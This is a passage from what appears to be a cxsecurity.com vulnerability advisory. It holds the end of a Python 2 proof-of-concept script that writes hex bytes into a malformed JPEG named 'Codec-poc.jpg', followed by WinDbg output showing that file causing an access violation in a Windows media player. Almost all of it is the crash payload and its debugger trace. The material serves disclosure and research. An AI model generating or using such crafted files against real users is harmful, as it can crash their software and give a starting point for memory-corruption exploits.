x6D\x66\x44\x11\x09\x2B\x31\x47\x52\xDD\xFA\xC8\xBC\x15\xBA\x24\x60\x2F\xB1\x63\xBC\x49\x0D\x37\x96\x53\x71\x6B\xA6\x17\x8C\x82\xCA\xBC\xAA\x63\xC2\x58\x57\xC1\xF7\x85\x16\x20\x09\xBE\xDB\xC4\x05\xCF\x41\xBA\xC1\x05\x6E\x03\x59\x6A\xA9\xA6\x6B\xC3\x3A\xC3\xA5\x3F\xB7\x1D\x0E\x24\xF3\x78\xFC\xE2\xD2\x48\x35\x09\x05\xE9\x5C\xD6\x81\x72\x2D\x5B\x3A\x64\x87\xC6\x6D\x10\x8F\xBF\x7D\xBD\x19\x6D\xEF\x04\x6A\x65\x88\xBD\x15\xA1\xD6\x61\x84\x25\x49\x0D\x7A\x0A\x02\x43\x00\x73\x7B\x04\xAC\x00\xD3\x74\x31\x62\xDB\x05\x25\x74\x1A\xF6\xAA\xF1\xBC\x55\x22\x97\x74\x23\x1A\x4C\x9E\x91\x34\x16\x78\x01\xC1\x23\x0A\xDE\xB1\xEF\xB6\x64\x02\xB7\x76\x21\x61\xCF\x38\xF4\x4E\x96\x83\x44\x0D\x09\xE7\x2C\x02\xA1\x77\xA6\x88\x0E\x01\x82\x60\x02\x6E\x9A\xDF\x83\xDB\x81\x8C\x5B\x92\x14\x47\x62\x92\xF5\x90\xEA\xA6\x88\xA1\x79\x42\x2A\x34\xE9\x95\x75\xA5\xA6\xCC\x27\x00\x7D\xE5\xD1\x29\x16\x3A\xFC\x87\xF1\x85\x51\x44\xF6\x9E\xB0\x48\x34\x04\x59\xC6\x69\x80\x2E\x4E\xBE\x33\x74\xD1\xB6\xCB\xB7\x05\x73\xD5\x7D\xCD\x9F\x96\x9F\x53\xD8\x7F\xC5\x02\x7C\xB6\xBF\xF8\x99\xC6\x69\xF2\xAF\x2B\x7E\xDE\xF3\x80\xF8\x3D\xBE\x59\xC9\x78\xFD\x9F\x03\xBF\xEF\x3F\xE7\x3B\x75\xF4\x73\xDC\xE3\x79\xF0\x1B\xFF\x00\x76\x7B\x7A\x31\xE1\x59\xF3\x62\x4E\x5F\x6D\x4B\x73\xFC\x7A\xEF\xFD\xC7\x79\xC0\x7F\xB0\xAB\x3F\xD4\x78\x64\x7E\x76\xFA\xEF\xF8\xD5\xB9\xFD\x99\xF7\x0F\x1B\xF6\xF3\x9E\x81\xF8\xCF\xDF\x0F\xE0\x2E\xDC\xBF\xBE\x70\xDD\xB3\x53\xCF\xD7\x3C\xF7\xF5\x73\xC3\xFA\xFC\x22\x76\xFA\x5F\x96\x7F\x17\x96\xD5\xD7\xA7\xB3\x6B\xB9\x9E\x99\xF8\x96\xFF\x00\x57\xA9\x9F\x7B\xF4\xDD\xBF\x8F\xED\xFD\x3E\xE7\xE7\xF8\x9C\xFF\xD9" outfile = file("Codec-poc.jpg", 'wb') outfile.write(value) outfile.close() print "Created Poc" windbg result: 0:000> g ModLoad: 629c0000 629c9000 C:\WINDOWS\system32\LPK.DLL ModLoad: 74d90000 74dfb000 C:\WINDOWS\system32\USP10.dll ModLoad: 10000000 1002e000 C:\PROGRA~1\SearchProtect\SearchProtect\bin\SPVC32Loader.dll ModLoad: 10000000 10011000 C:\Program Files\Bench\BService\bhelper.dll ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime ModLoad: 01880000 01b45000 C:\WINDOWS\system32\xpsp2res.dll ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\wtsapi32.dll ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll ModLoad: 01e50000 02011000 C:\Program Files\K-Lite Codec Pack\Media Player Classic\mpciconlib.dll ModLoad: 017c0000 017c8000 C:\Program Files\Internet Download Manager\idmmkb.dll ModLoad: 76360000 76370000 C:\WINDOWS\system32\winsta.dll ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll ModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dll ModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dll ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll ModLoad: 736b0000 736b7000 C:\WINDOWS\system32\msdmo.dll ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll ModLoad: 60ca0000 60d2c000 C:\WINDOWS\system32\qedit.dll ModLoad: 75a70000 75a91000 C:\WINDOWS\system32\MSVFW32.dll ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll ModLoad: 73b30000 73b45000 C:\WINDOWS\system32\mscms.dll (1fb0.1dc0): Unknown exception - code 00000000 (first chance) (1fb0.1dc0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=01fdd008 ecx=7ffdb000 edx=003e0608 esi=003e0000 edi=01fdd000 eip=7c96d811 esp=01d4f5ec ebp=01d4f64c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ntdll!RtlpNtMakeTemporaryKey+0x7d45: 7c96d811 0fb707 movzx eax,word ptr [edi] ds:0023:01fdd000=???? 0:004> .load winext/msec.dll 0:004> !exploitable !exploitable 1.6.0.0 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\qedit.dll - *** WARNING: Unable to verify timestamp for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - Exploitability Classification: UNKNOWN Recommended Bug Title: Data from Faulting Address is used as one or more arguments in a subsequent Function Call starting at ntdll!RtlpNtMakeTemporaryKey+0x0000000000007d45 (Hash=0xc7e5b6ca.0x7d7ebe9a) The data from the faulting address is later used as one or more of the arguments to a function call. 0:004> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 01d4f64c 7c949e1c ntdll!RtlpNtMakeTemporaryKey+0x7d45 01d4f734 7c927553 ntdll!LdrAlternateResourcesEnabled+0x33bd 01d4f804 77c2c2de ntdll!RtlOemStringToUnicodeString+0xee 01d4f84c 60cd08bc msvcrt!free+0xc3 01d4f860 60cd1f38 qedit!DllRegisterServer+0x20cff 01d4f880 60cb2ee9 qedit!DllRegisterServer+0x2237b 01d4f894 60cc38b1 qedit!DllRegisterServer+0x332c 01d4f8a0 004dfe58 qedit!DllRegisterServer+0x13cf4 01d4f954 004e1cb5 image00400000+0xdfe58 01d4fa10 00520659 image00400000+0xe1cb5 01d4fd74 00526383 image00400000+0x120659 01d4fe34 004facf0 image00400000+0x126383 01d4fe58 006f7708 image00400000+0xfacf0 01d4fe74 006f73a8 image00400000+0x2f7708 01d4fe88 006f78d5 image00400000+0x2f73a8 01d4fe94 006f749b image00400000+0x2f78d5 01d4fea0 006f744c image00400000+0x2f749b 01d4fecc 006f7c22 image00400000+0x2f744c 01d4ff70 008191a7 image00400000+0x2f7c22 01d4ffa8 008192cf image00400000+0x4191a7 01d4ffb4 7c80b713 image00400000+0x4192cf 01d4ffec 00000000 kernel32!GetModuleFileNameA+0x1b4
References:
http://cxsecurity.com/issue/WLB-2014050018
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top